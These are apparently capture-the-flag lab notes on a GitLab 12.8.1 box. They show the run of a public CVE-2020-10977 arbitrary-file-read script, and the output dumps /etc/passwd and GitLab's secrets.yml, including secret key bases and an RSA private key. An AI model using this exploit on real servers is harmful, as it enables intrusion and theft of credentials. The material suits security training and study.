2 :443 gitlab
As we see this in nmap scan | Subject Alternative Name: DNS:git.laboratory.htb
We find Gitlab at https://git.laboratory.htb/users/sign_in
Trying to signup
1 error prohibited this user from being saved:
- Email domain is not authorized for sign-up
Using @laboratory.htb as email
kashz@laboratory.htb:kashz@12345https://git.laboratory.htb/help GitLab Community Edition 12.8.1
Came across this https://hackerone.com/reports/827052
https://github.com/thewhiteh4t/cve-2020-10977
$ python3 cve_2020_10977.py https://git.laboratory.htb kashz kashz@12345
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------
[>] Found By : vakzz [ https://hackerone.com/reports/827052 ]
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[+] Target : https://git.laboratory.htb
[+] Username : kashz
[+] Password : kashz@12345
[+] Project Names : ProjectOne, ProjectTwo
[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : https://git.laboratory.htb/kashz/ProjectTwo/uploads/b7ce5f6f8281724efbc92046c17cfe6a/passwd
> /etc/passwd
---------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
----------------------------------------
[>] Absolute Path to File :
> /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
----------------------------------------
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!Last updated